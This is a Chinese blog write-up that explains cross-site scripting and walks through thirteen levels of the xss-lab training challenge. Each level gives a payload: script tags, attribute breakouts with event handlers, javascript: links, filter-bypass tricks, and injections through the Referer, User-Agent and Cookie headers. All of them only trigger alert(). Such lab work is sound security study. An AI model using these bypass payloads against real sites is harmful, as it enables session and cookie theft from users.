xss学习及xss-lab解题记录
什么是XSS(跨站脚本攻击)
SQL注入是服务端将用户输入的数据当成SQL代码去执行
XSS可以理解为服务端把用户输入的数据当成前端代码去执行
前端代码->主要是js代码
两个关键条件:
第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据
XSS主要拼接什么
SQL注入拼接的是操作数据库的SQL语句。
XSS拼接的是网页的HTML代码
一般而言我们是可以拼接出合适的HTML代码去执行恶意的JS语句
(总结:XSS就是拼接恶意的HTML)
XSS的作用
盗取Cookie(用的最频繁的)(cookie相当于身份证)
获取内网IP(攻击内网)
获取浏览器保存的明文密码
截取网页屏幕
网页上的键盘记录
分类
反射型xss(提交的数据成功的实现了xss,但是仅仅是对你这次访问产生了影响,是非持久型攻击)
存储型xss(提交的数据成功的实现了xss,存入了数据库,别人访问这个页面会自动触发)(留言栏)(工单)(表单)
DOM型xss(比较复杂)
常用语句
(若成功弹窗,则js代码可以执行)什么是dom型xss
DOM-based XSs漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显后页面的一部分,DOM中有很多对象,其中一些是用户可以操纵的,如uRl,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM-based XSS漏洞。
dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。
通过Js去对网页进行修改,变化执行
Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。
level 1(url传参)
查看源代码
使name等于
<script>alert(1)</script>
level 2(输入框注入)
输一个语句,发现不行
查看源代码
发现关键点
红色框上面部分被转义了,没有什么绕过方法,
嵌套一个反标签符号
"><script>alert()</script><"
level 3(事件注入)
输入上面的payload,发现被转义了
加入函数
在JavaScript中有一个函数onfocus(),用于输入框input,select,a标签获得焦点的事件
' onfocus=javascript:alert() '
再点击这个input框,使其获得焦点,触发onfocus事件
level 4(引号类型)
没有转义
切换payload为双引号即可
" onfocus=javascript:alert() "
level 5(a标签注入)
被强制转换了,且引号重复了
<a href="javascript:alert();">xx</a>
加个 "> 和 "< .
"><a href="javascript:alert();">xx</a><"
可以发现代码变成
xx"><"
发现页面多了个标签,此时既可以点击此标签
level 6(大小写绕过)
将href改成HREF
level 7(双拼写)
href没了
双拼绕过
" ><sscriptcript>alert()</sscriptcript>< "
level 8(Unicode编码)
利用href的隐藏属性自动Unicode解码,插入一段js伪协议
javascript:alert()-->
javascript:alert()
level 9(指定字符绕过)
链接不合法
level 10(属性修改)
看源码
level10.php?t_sort=" onfocus="javascript:alert()" type="
level 11(Referer)
被转义了
页面上没有任何可以输入输出的地方,不过通过“检查”来查看渲染结构以后发现有4个隐藏的输入框,t_ref会把我们数据包中的referer参数传入
htmlspecialchars():一个PHP函数,用于将特殊字符转换为HTML实体。这个函数通常用于防止跨站脚本(XSS)攻击。
$_SERVER['HTTP_REFERER'] :链接到当前页面的前一页面的 URL 地址。(referer,推荐人)
经测试,它不会过滤<和>
Referer:click me" type="button" onfocus="alert()
level 12(User-Agent)
f12
用burpsuip抓包,发现t_ua和User-Agent的内容一样
click it" type="button" onmouseover="alert()
level 13(Cookie)
猜用cookie
Cookie: user=" onfocus="javascript:alert()" type="text" "
弄成这样也行
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)